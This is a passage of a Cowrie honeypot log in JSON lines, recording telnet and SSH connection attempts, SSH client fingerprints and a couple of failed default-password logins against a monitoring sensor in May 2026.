m","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:56.481792Z","src_ip":"190.108.60.10","session":"e8ff258f0b62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46064,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6afd2ad8a33","protocol":"telnet","message":"New connection: 104.245.105.2:46064 (10.17.0.5:23) [session: c6afd2ad8a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:56.713522Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin10","message":"login attempt [root/admin10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:57.312279Z","src_ip":"190.108.60.10","session":"e8ff258f0b62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.525192975997925,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:57.447180Z","src_ip":"206.189.32.23","session":"f968ffb8255a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":51718,"dst_ip":"10.17.0.5","dst_port":23,"session":"805072fa7d17","protocol":"telnet","message":"New connection: 206.189.32.23:51718 (10.17.0.5:23) [session: 805072fa7d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:57.658750Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46072,"dst_ip":"10.17.0.5","dst_port":23,"session":"59fa6da4bb37","protocol":"telnet","message":"New connection: 104.245.105.2:46072 (10.17.0.5:23) [session: 59fa6da4bb37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:58.147032Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:58.510820Z","src_ip":"190.108.60.10","session":"e8ff258f0b62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":36812,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a8b68771a82","protocol":"telnet","message":"New connection: 104.245.105.2:36812 (10.17.0.5:23) [session: 1a8b68771a82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:00.728565Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":55032,"dst_ip":"10.17.0.5","dst_port":23,"session":"c12d3c707ce9","protocol":"telnet","message":"New connection: 206.189.32.23:55032 (10.17.0.5:23) [session: c12d3c707ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:00.942594Z"}
{"eventid":"cowrie.session.closed","duration":32.65740180015564,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:04.407556Z","src_ip":"104.245.105.2","session":"d195ddfb597e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.985886096954346,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:05.103002Z","src_ip":"104.245.105.2","session":"9272a85dbb89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.19650602340698,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:06.816785Z","src_ip":"206.189.32.23","session":"331d31934114","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.59910726547241,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:06.872108Z","src_ip":"188.208.141.113","session":"998929a5c9a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.950081825256348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:13.550643Z","src_ip":"104.245.105.2","session":"82cec5472791","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58432,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f16ae6b30ff","protocol":"telnet","message":"New connection: 188.208.141.113:58432 (10.17.0.5:23) [session: 5f16ae6b30ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:17.332699Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57698,"dst_ip":"10.17.0.5","dst_port":23,"session":"d74ee75ad46a","protocol":"telnet","message":"New connection: 104.245.105.2:57698 (10.17.0.5:23) [session: d74ee75ad46a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:18.309134Z"}
{"eventid":"cowrie.session.closed","duration":31.015913248062134,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:18.907993Z","src_ip":"104.245.105.2","session":"b77e152390b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.140336751937866,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:22.461317Z","src_ip":"104.245.105.2","session":"8b2acc1daaa1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41988,"dst_ip":"10.17.0.5","dst_port":23,"session":"629ebeb497cd","protocol":"telnet","message":"New connection: 104.245.105.2:41988 (10.17.0.5:23) [session: 629ebeb497cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:24.844693Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42002,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a0d1566fcaa","protocol":"telnet","message":"New connection: 104.245.105.2:42002 (10.17.0.5:23) [session: 6a0d1566fcaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:25.534267Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":51060,"dst_ip":"10.17.0.5","dst_port":23,"session":"d53512bfac79","protocol":"telnet","message":"New connection: 206.189.32.23:51060 (10.17.0.5:23) [session: d53512bfac79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:25.966356Z"}
{"eventid":"cowrie.session.closed","duration":30.483471155166626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:27.196887Z","src_ip":"104.245.105.2","session":"c6afd2ad8a33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89391827583313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:27.201590Z","src_ip":"104.245.105.2","session":"422c358fb712","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":54336,"dst_ip":"10.17.0.5","dst_port":23,"session":"288ab960e1c9","protocol":"telnet","message":"New connection: 206.189.32.23:54336 (10.17.0.5:23) [session: 288ab960e1c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:29.349522Z"}
{"eventid":"cowrie.session.closed","duration":31.289631366729736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:29.436481Z","src_ip":"104.245.105.2","session":"59fa6da4bb37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":57972,"dst_ip":"10.17.0.5","dst_port":23,"session":"00fbcaa80b40","protocol":"telnet","message":"New connection: 206.189.32.23:57972 (10.17.0.5:23) [session: 00fbcaa80b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:33.098862Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40776,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbefca0e3e58","protocol":"telnet","message":"New connection: 104.245.105.2:40776 (10.17.0.5:23) [session: cbefca0e3e58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:34.298590Z"}
{"eventid":"cowrie.session.closed","duration":5.3412463665008545,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:34.690563Z","src_ip":"206.189.32.23","session":"288ab960e1c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40786,"dst_ip":"10.17.0.5","dst_port":23,"session":"16e3f824b6e9","protocol":"telnet","message":"New connection: 104.245.105.2:40786 (10.17.0.5:23) [session: 16e3f824b6e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:38.801207Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42522,"dst_ip":"10.17.0.5","dst_port":23,"session":"4309a6ec988d","protocol":"telnet","message":"New connection: 188.208.141.113:42522 (10.17.0.5:23) [session: 4309a6ec988d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:40.268189Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":37542,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ae835fcb087","protocol":"telnet","message":"New connection: 206.189.32.23:37542 (10.17.0.5:23) [session: 9ae835fcb087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:40.758271Z"}
{"eventid":"cowrie.session.closed","duration":41.22892212867737,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:41.957348Z","src_ip":"104.245.105.2","session":"1a8b68771a82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.730310678482056,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:43.672809Z","src_ip":"206.189.32.23","session":"c12d3c707ce9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48044,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a8dd0d2f68e","protocol":"telnet","message":"New connection: 104.245.105.2:48044 (10.17.0.5:23) [session: 2a8dd0d2f68e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:44.602479Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48058,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d1b87a62c86","protocol":"telnet","message":"New connection: 104.245.105.2:48058 (10.17.0.5:23) [session: 6d1b87a62c86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:45.198398Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48060,"dst_ip":"10.17.0.5","dst_port":23,"session":"e538bf6ae7a3","protocol":"telnet","message":"New connection: 104.245.105.2:48060 (10.17.0.5:23) [session: e538bf6ae7a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:45.752375Z"}
{"eventid":"cowrie.session.closed","duration":48.27284359931946,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:45.931471Z","src_ip":"206.189.32.23","session":"805072fa7d17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48068,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d2a606c6c36","protocol":"telnet","message":"New connection: 104.245.105.2:48068 (10.17.0.5:23) [session: 3d2a606c6c36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:46.065571Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48040,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5fdc916d439","protocol":"telnet","message":"New connection: 104.245.105.2:48040 (10.17.0.5:23) [session: c5fdc916d439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:46.672137Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48072,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b47a497601c","protocol":"telnet","message":"New connection: 104.245.105.2:48072 (10.17.0.5:23) [session: 5b47a497601c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:47.413423Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":45024,"dst_ip":"10.17.0.5","dst_port":23,"session":"a99c37be1425","protocol":"telnet","message":"New connection: 206.189.32.23:45024 (10.17.0.5:23) [session: a99c37be1425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:48.208103Z"}
{"eventid":"cowrie.session.closed","duration":31.204078912734985,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:49.513122Z","src_ip":"104.245.105.2","session":"d74ee75ad46a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59514,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c00e8bd8bf9","protocol":"telnet","message":"New connection: 104.245.105.2:59514 (10.17.0.5:23) [session: 4c00e8bd8bf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:51.086974Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":48522,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a3f7503d8c3","protocol":"telnet","message":"New connection: 206.189.32.23:48522 (10.17.0.5:23) [session: 9a3f7503d8c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:51.737056Z"}
{"eventid":"cowrie.session.closed","duration":3.1258862018585205,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:54.862811Z","src_ip":"206.189.32.23","session":"9a3f7503d8c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":51110,"dst_ip":"10.17.0.5","dst_port":23,"session":"1556852e53a4","protocol":"telnet","message":"New connection: 206.189.32.23:51110 (10.17.0.5:23) [session: 1556852e53a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:55.444065Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59530,"dst_ip":"10.17.0.5","dst_port":23,"session":"afd907821229","protocol":"telnet","message":"New connection: 104.245.105.2:59530 (10.17.0.5:23) [session: afd907821229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:56.014550Z"}
{"eventid":"cowrie.session.closed","duration":39.06034207344055,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:56.392910Z","src_ip":"188.208.141.113","session":"5f16ae6b30ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.11043834686279,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:57.955113Z","src_ip":"104.245.105.2","session":"629ebeb497cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.11137270927429,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:44:59.644998Z","src_ip":"104.245.105.2","session":"6a0d1566fcaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.7289042472839355,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:01.172839Z","src_ip":"206.189.32.23","session":"1556852e53a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33692,"dst_ip":"10.17.0.5","dst_port":23,"session":"8268d670a81c","protocol":"telnet","message":"New connection: 104.245.105.2:33692 (10.17.0.5:23) [session: 8268d670a81c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:03.120004Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45154,"dst_ip":"159.203.135.109","dst_port":23,"session":"98ab6d9679ad","protocol":"telnet","message":"New connection: 162.55.233.176:45154 (159.203.135.109:23) [session: 98ab6d9679ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:04.069980Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":51132,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3c76a96ad2d","protocol":"ssh","message":"New connection: 190.108.60.10:51132 (10.17.0.5:22) [session: f3c76a96ad2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:05.732021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:05.742219Z","src_ip":"190.108.60.10","session":"f3c76a96ad2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:05.938266Z","src_ip":"190.108.60.10","session":"f3c76a96ad2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33694,"dst_ip":"10.17.0.5","dst_port":23,"session":"085570d7801e","protocol":"telnet","message":"New connection: 104.245.105.2:33694 (10.17.0.5:23) [session: 085570d7801e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:06.123542Z"}
{"eventid":"cowrie.login.failed","username":"git1","password":"123456","message":"login attempt [git1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:06.732531Z","src_ip":"190.108.60.10","session":"f3c76a96ad2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:07.927400Z","src_ip":"190.108.60.10","session":"f3c76a96ad2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.73935651779175,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:08.037836Z","src_ip":"104.245.105.2","session":"cbefca0e3e58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":40284,"dst_ip":"10.17.0.5","dst_port":23,"session":"627bbd00b037","protocol":"telnet","message":"New connection: 206.189.32.23:40284 (10.17.0.5:23) [session: 627bbd00b037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:08.431872Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":35326,"dst_ip":"10.17.0.5","dst_port":23,"session":"589265b6f145","protocol":"telnet","message":"New connection: 104.245.105.2:35326 (10.17.0.5:23) [session: 589265b6f145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:12.448101Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":35330,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bbee9198470","protocol":"telnet","message":"New connection: 104.245.105.2:35330 (10.17.0.5:23) [session: 6bbee9198470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:13.265251Z"}
{"eventid":"cowrie.session.closed","duration":47.548158407211304,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:13.514363Z","src_ip":"206.189.32.23","session":"d53512bfac79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.854294300079346,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:15.655378Z","src_ip":"104.245.105.2","session":"16e3f824b6e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.11523747444153,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:16.717596Z","src_ip":"104.245.105.2","session":"2a8dd0d2f68e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.541473388671875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:16.739745Z","src_ip":"104.245.105.2","session":"6d1b87a62c86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.050806045532227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:17.116241Z","src_ip":"104.245.105.2","session":"3d2a606c6c36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.827558755874634,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:18.240870Z","src_ip":"104.245.105.2","session":"5b47a497601c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.834280252456665,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:19.586534Z","src_ip":"104.245.105.2","session":"e538bf6ae7a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53518,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bfdc0db457e","protocol":"telnet","message":"New connection: 104.245.105.2:53518 (10.17.0.5:23) [session: 4bfdc0db457e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:19.619611Z"}
{"eventid":"cowrie.session.closed","duration":46.64751863479614,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:19.746170Z","src_ip":"206.189.32.23","session":"00fbcaa80b40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.47577118873596,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:25.147787Z","src_ip":"104.245.105.2","session":"c5fdc916d439","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.96974015235901,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:25.727893Z","src_ip":"206.189.32.23","session":"9ae835fcb087","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.549381256103516,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:26.817405Z","src_ip":"188.208.141.113","session":"4309a6ec988d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53534,"dst_ip":"10.17.0.5","dst_port":23,"session":"996a9c1a7225","protocol":"telnet","message":"New connection: 104.245.105.2:53534 (10.17.0.5:23) [session: 996a9c1a7225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:28.078688Z"}
